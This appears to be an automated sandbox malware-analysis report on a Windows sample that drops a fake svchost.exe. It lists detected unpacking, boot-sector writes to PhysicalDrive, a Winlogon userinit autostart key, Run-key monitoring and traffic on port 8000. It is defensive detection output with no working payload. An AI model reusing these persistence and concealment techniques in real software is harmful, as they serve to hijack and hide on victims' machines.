Source: Binary string: WinSCard.pdb( source: svchost.exe, 00000002.00000002.3398141991.0000000005870000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: c:\jenkins\workspace\8-2-build-windows-amd64-cygwin\jdk8u281\880\build\windows-amd64\deploy\tmp\javacplexec\obj64\javacpl.pdb source: Bpfz752pYZ.exe, svchost.exe.0.dr
Source: Binary string: C:\Program Files (x86)\Windows Defender\wntdll.pdb\* source: svchost.exe, 00000002.00000002.3404415145.0000000008DFB000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: \??\C:\Program Files (x86)\Windows Defender\vojydoc.com\??\C:\Program Files (x86)\Windows Defender\wntdll.pdb source: svchost.exe, 00000002.00000003.3255347257.0000000003399000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Program Files (x86)\Windows Defender\wntdll.pdb source: svchost.exe, 00000002.00000003.3255347257.0000000003399000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wkernelbase.pdb source: svchost.exe, 00000002.00000003.3343091466.00000000086C4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3402753953.00000000086C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wkernelbase.pdb( source: svchost.exe, 00000002.00000003.3343091466.00000000086C4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3402753953.00000000086C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: NcYLgtXIKJgHj.exe, 00000006.00000002.2551332510.00000000005AE000.00000002.00000001.01000000.00000009.sdmp, NcYLgtXIKJgHj.exe, 00000007.00000000.2489007381.00000000005AE000.00000002.00000001.01000000.00000009.sdmp, NcYLgtXIKJgHj.exe, 0000000A.00000002.2560697130.00000000005AE000.00000002.00000001.01000000.00000009.sdmp, NcYLgtXIKJgHj.exe, 0000000E.00000002.2551302357.00000000005AE000.00000002.00000001.01000000.00000009.sdmp, NcYLgtXIKJgHj.exe, 00000010.00000002.2531133177.00000000005AE000.00000002.00000001.01000000.00000009.sdmp, NcYLgtXIKJgHj.exe, 00000014.00000002.2579234014.00000000005AE000.00000002.00000001.01000000.00000009.sdmp, NcYLgtXIKJgHj.exe, 00000016.00000002.2605798630.00000000005AE000.00000002.00000001.01000000.00000009.sdmp, NcYLgtXIKJgHj.exe, 00000019.00000002.2614419059.00000000005AE000.00000002.00000001.01000000.00000009.sdmp, NcYLgtXIKJgHj.exe, 0000001C.00000000.2585490628.00000000005AE000.00000002.00000001.01000000.00000009.sdmp, NcYLgtXIKJgHj.exe, 0000001F.00000000.2593001652.00000000005AE000.00000002.00000001.01000000.00000009.sdmp, NcYLgtXIKJgHj.exe, 00000022.00000002.2694069303.00000000005AE000.00000002.00000001.01000000.00000009.sdmp, NcYLgtXIKJgHj.exe, 00000024.00000002.2644364291.00000000005AE000.00000002.00000001.01000000.00000009.sdmp
Source: Binary string: wkernel32.pdb( source: svchost.exe, 00000002.00000003.3267668085.00000000086BE000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: WinSCard.pdb source: svchost.exe, 00000002.00000002.3398141991.0000000005870000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: winsta.pdb( source: svchost.exe, 00000002.00000002.3397191515.00000000056A4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wntdll.pdb( source: svchost.exe, 00000002.00000002.3402753953.00000000086B9000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeUnpacked PE file: 0.2.Bpfz752pYZ.exe.400000.2.unpack .text:ER;.j:R;.nkytZ:R;.N:R;.fc:W;.data:W;.s:W;.w:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Windows\apppatch\svchost.exeUnpacked PE file: 2.2.svchost.exe.400000.0.unpack .text:ER;.j:R;.nkytZ:R;.N:R;.fc:W;.data:W;.s:W;.w:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Detected unpacking (creates a PE file in dynamic memory)
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeUnpacked PE file: 6.2.NcYLgtXIKJgHj.exe.1740000.2.unpack
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeUnpacked PE file: 7.2.NcYLgtXIKJgHj.exe.3100000.2.unpack
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeUnpacked PE file: 10.2.NcYLgtXIKJgHj.exe.1520000.2.unpack
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeUnpacked PE file: 22.2.NcYLgtXIKJgHj.exe.2340000.2.unpack
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeUnpacked PE file: 34.2.NcYLgtXIKJgHj.exe.2740000.2.unpack
Detected unpacking (overwrites its own PE header)
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeUnpacked PE file: 0.2.Bpfz752pYZ.exe.400000.2.unpack
Source: C:\Windows\apppatch\svchost.exeUnpacked PE file: 2.2.svchost.exe.400000.0.unpack
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: 0_2_00401FC0 memset,SHGetFolderPathA,PathAppendA,SetCurrentDirectoryA,LoadLibraryA,GetProcAddress,FreeLibrary,0_2_00401FC0
Source: svchost.exe.0.drStatic PE information: real checksum: 0x49aae8ad should be: 0x121dac
Source: Bpfz752pYZ.exeStatic PE information: real checksum: 0x307a975e should be: 0x121dac
Source: Bpfz752pYZ.exeStatic PE information: section name: .j
Source: Bpfz752pYZ.exeStatic PE information: section name: .nkytZ
Source: Bpfz752pYZ.exeStatic PE information: section name: .N
Source: Bpfz752pYZ.exeStatic PE information: section name: .fc
Source: Bpfz752pYZ.exeStatic PE information: section name: .s
Source: Bpfz752pYZ.exeStatic PE information: section name: .w
Source: svchost.exe.0.drStatic PE information: section name: .j
Source: svchost.exe.0.drStatic PE information: section name: .nkytZ
Source: svchost.exe.0.drStatic PE information: section name: .N
Source: svchost.exe.0.drStatic PE information: section name: .fc
Source: svchost.exe.0.drStatic PE information: section name: .s
Source: svchost.exe.0.drStatic PE information: section name: .w
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: 0_2_004000C2 push esp; ret 0_2_004000C3
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: 0_2_0040008D push FB0DB0C3h; ret 0_2_004000B7
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: 0_2_0044C903 push cs; ret 0_2_0044C918
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: 0_2_0044C939 push cs; iretd 0_2_0044C948
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: 0_2_0044C26D push es; iretd 0_2_0044C27C
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: 0_2_00448CA0 push eax; ret 0_2_00448CCE
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: 0_2_0212065B push ebx; ret 0_2_02120677
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: 0_2_0212065B push dword ptr [esp+48h]; ret 0_2_02120747
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: 0_2_02120678 push dword ptr [esp+48h]; ret 0_2_02120747
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_004000C2 push esp; ret 2_2_004000C3
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_0040008D push FB0DB0C3h; ret 2_2_004000B7
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_0044C903 push cs; ret 2_2_0044C918
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_0044C939 push cs; iretd 2_2_0044C948
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_0044C26D push es; iretd 2_2_0044C27C
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_00448CA0 push eax; ret 2_2_00448CCE
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02CB6B03 push cs; ret 2_2_02CB6B18
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02CACB03 push esi; retf 2_2_02CACB04
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02CB6B39 push cs; iretd 2_2_02CB6B48
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02CB28A0 push eax; ret 2_2_02CB28CE
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02CAE990 push esi; retf 2_2_02CAE994
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02CACEB1 push esi; retf 2_2_02CACEB5
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02CAE62D push esi; retf 2_2_02CAE631
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02CB646D push es; iretd 2_2_02CB647C
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_029E726D push es; iretd 2_2_029E727C
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_029D4392 push ebp; retf 2_2_029D4393
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_029D410C push ebp; retf 2_2_029D410D
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_029E3CA0 push eax; ret 2_2_029E3CCE
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02B20678 push dword ptr [esp+48h]; ret 2_2_02B20747
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02B2065B push ebx; ret 2_2_02B20677
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02B2065B push dword ptr [esp+48h]; ret 2_2_02B20747
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 6_2_017828A0 push eax; ret 6_2_017828CE

Persistence and Installation Behavior

barindex
Contains functionality to infect the boot sector
Source: C:\Windows\apppatch\svchost.exeCode function: memset,GetDriveTypeA,SetCurrentDirectoryA,_snprintf,CreateFileA,lstrcpynA,WriteFile,WriteFile,GetHandleInformation,CloseHandle, \\.\PhysicalDrive%u2_2_02C82030
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: memset,GetDriveTypeA,SetCurrentDirectoryA,_snprintf,CreateFileA,WriteFile,WriteFile,GetHandleInformation,CloseHandle, \\.\PhysicalDrive%u6_2_01752030
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: memset,GetDriveTypeA,SetCurrentDirectoryA,_snprintf,CreateFileA,WriteFile,WriteFile,GetHandleInformation,CloseHandle, \\.\PhysicalDrive%u7_2_03112030
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: memset,GetDriveTypeA,SetCurrentDirectoryA,_snprintf,CreateFileA,WriteFile,WriteFile,GetHandleInformation,CloseHandle, \\.\PhysicalDrive%u10_2_01532030
Drops PE files with benign system names
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeFile created: C:\Windows\apppatch\svchost.exeJump to dropped file
Drops executables to the windows directory (C:\Windows) and starts them
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeExecutable created and started: C:\Windows\apppatch\svchost.exeJump to behavior
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: API: WriteFile string: \\?\globalroot\systemroot\system32\tasks\0_2_00403440
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeFile created: C:\Windows\apppatch\svchost.exeJump to dropped file
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeFile created: C:\Windows\apppatch\svchost.exeJump to dropped file

Boot Survival

barindex
Contains functionality to infect the boot sector
Source: C:\Windows\apppatch\svchost.exeCode function: memset,GetDriveTypeA,SetCurrentDirectoryA,_snprintf,CreateFileA,lstrcpynA,WriteFile,WriteFile,GetHandleInformation,CloseHandle, \\.\PhysicalDrive%u2_2_02C82030
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: memset,GetDriveTypeA,SetCurrentDirectoryA,_snprintf,CreateFileA,WriteFile,WriteFile,GetHandleInformation,CloseHandle, \\.\PhysicalDrive%u6_2_01752030
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: memset,GetDriveTypeA,SetCurrentDirectoryA,_snprintf,CreateFileA,WriteFile,WriteFile,GetHandleInformation,CloseHandle, \\.\PhysicalDrive%u7_2_03112030
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: memset,GetDriveTypeA,SetCurrentDirectoryA,_snprintf,CreateFileA,WriteFile,WriteFile,GetHandleInformation,CloseHandle, \\.\PhysicalDrive%u10_2_01532030
Creates an undocumented autostart registry key
Source: C:\Windows\apppatch\svchost.exeKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon userinitJump to behavior
Monitors registry run keys for changes
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeRegistry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeRegistry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeRegistry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeRegistry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeRegistry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeRegistry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeRegistry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeRegistry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeRegistry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeRegistry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeRegistry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeRegistry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Hooking and other Techniques for Hiding and Protection

barindex
Moves itself to temp directory
Source: c:\users\user\desktop\bpfz752pyz.exeFile moved: C:\Users\user\AppData\Local\Temp\97C3.tmpJump to behavior
Uses known network protocols on non-standard ports
Source: unknownNetwork traffic detected: HTTP traffic on port 58882 -> 8000
Source: unknownNetwork traffic detected: HTTP traffic on port 8000 -> 58882
Source: unknownNetwork traffic detected: HTTP traffic on port 58882 -> 8000
Source: unknownNetwork traffic detected: HTTP traffic on port 8000 -> 58882
Source: unknownNetwork traffic detected: HTTP traffic on port 58882 -> 8000
Source: unknownNetwork traffic detected: HTTP traffic on port 8000 -> 58882
Source: unknownNetwork traffic detected: HTTP traffic on port 58882 -> 8000
Source: unknownNetwork traffic detected: HTTP traffic on port 8000 -> 58882
Source: unknownNetwork traffic detected: HTTP traffic on port 64583 -> 8000
Source: unknownNetwork traffic detected: HTTP traffic on port 8000 -> 64583
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02C7C380 GetWindowLongA,GetWindowLongA,SetWindowLongA,SetWindowPos,GetDlgItem,GetWindowLongA,SetWindowTextA,GetWindowLongA,SetWindowLongA,SetWindowPos,GetDlgItem,GetClassLongA,SetClassLongA,SendMessageA,SendMessageA,GetObjectA,CreateFontIndirectA,SendMessageA,GetWindow,GetWindow,GetWindow,GetWindowInfo,GetWindowRect,SetWindowPos,GetClientRect,MoveWindow,CreateWindowExA,SetWindowLongA,GetClassLongA,SetClassLongA,GetWindowTextLengthA,HeapAlloc,SetWindowLongA,SendMessageA,GetWindowThreadProcessId,GetClassLongA,GetClassLongA,GetClassLongA,LoadIconA,SendMessageA,GetWindowLongA,SetWindowLongA,SetWindowPos,GetWindow,IsIconic,ShowWindow,WaitForSingleObject,ReleaseMutex,PostMessageA,GetDlgItem,GetWindowLongA,WaitForSingleObject,ReleaseMutex,GetDlgItem,GetWindowLongA,DeleteObject,HeapFree,DestroyWindow,EndDialog,2_2_02C7C380
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02C7C069 IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,2_2_02C7C069
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02C7C069 IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,2_2_02C7C069
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02C7BE40 WaitForSingleObject,GetWindow,IsWindow,IsIconic,GetWindowInfo,GetWindowInfo,GetAncestor,GetWindow,IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,2_2_02C7BE40
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02C7BE40 WaitForSingleObject,GetWindow,IsWindow,IsIconic,GetWindowInfo,GetWindowInfo,GetAncestor,GetWindow,IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,2_2_02C7BE40
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02C7BE40 WaitForSingleObject,GetWindow,IsWindow,IsIconic,GetWindowInfo,GetWindowInfo,GetAncestor,GetWindow,IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,2_2_02C7BE40
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02C7BE40 WaitForSingleObject,GetWindow,IsWindow,IsIconic,GetWindowInfo,GetWindowInfo,GetAncestor,GetWindow,IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,2_2_02C7BE40
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02C78F20 IsWindow,IsWindowVisible,IsIconic,GetLastActivePopup,2_2_02C78F20
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02C7BDD0 IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,2_2_02C7BDD0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 6_2_0174C069 IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,6_2_0174C069
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 6_2_0174C069 IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,6_2_0174C069
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 6_2_0174C380 GetWindowLongA,GetWindowLongA,SetWindowLongA,SetWindowPos,GetDlgItem,GetWindowLongA,SetWindowTextA,GetWindowLongA,SetWindowLongA,SetWindowPos,GetDlgItem,GetClassLongA,SetClassLongA,SendMessageA,SendMessageA,GetObjectA,CreateFontIndirectA,SendMessageA,GetWindow,GetWindow,GetWindow,GetWindowInfo,GetWindowRect,SetWindowPos,GetClientRect,MoveWindow,CreateWindowExA,SetWindowLongA,GetClassLongA,SetClassLongA,GetWindowTextLengthA,HeapAlloc,SetWindowLongA,SendMessageA,GetWindowThreadProcessId,GetClassLongA,GetClassLongA,GetClassLongA,LoadIconA,SendMessageA,GetWindowLongA,SetWindowLongA,SetWindowPos,GetWindow,IsIconic,ShowWindow,WaitForSingleObject,ReleaseMutex,PostMessageA,GetDlgItem,GetWindowLongA,WaitForSingleObject,ReleaseMutex,GetDlgItem,GetWindowLongA,DeleteObject,HeapFree,DestroyWindow,EndDialog,6_2_0174C380
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 6_2_0174BDD0 IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,6_2_0174BDD0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 6_2_01748F20 IsWindow,IsWindowVisible,IsIconic,GetLastActivePopup,6_2_01748F20
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 6_2_0174BE40 WaitForSingleObject,GetWindow,IsWindow,IsIconic,GetWindowInfo,GetWindowInfo,GetAncestor,GetWindow,IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,6_2_0174BE40
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 6_2_0174BE40 WaitForSingleObject,GetWindow,IsWindow,IsIconic,GetWindowInfo,GetWindowInfo,GetAncestor,GetWindow,IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,6_2_0174BE40
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 6_2_0174BE40 WaitForSingleObject,GetWindow,IsWindow,IsIconic,GetWindowInfo,GetWindowInfo,GetAncestor,GetWindow,IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,6_2_0174BE40
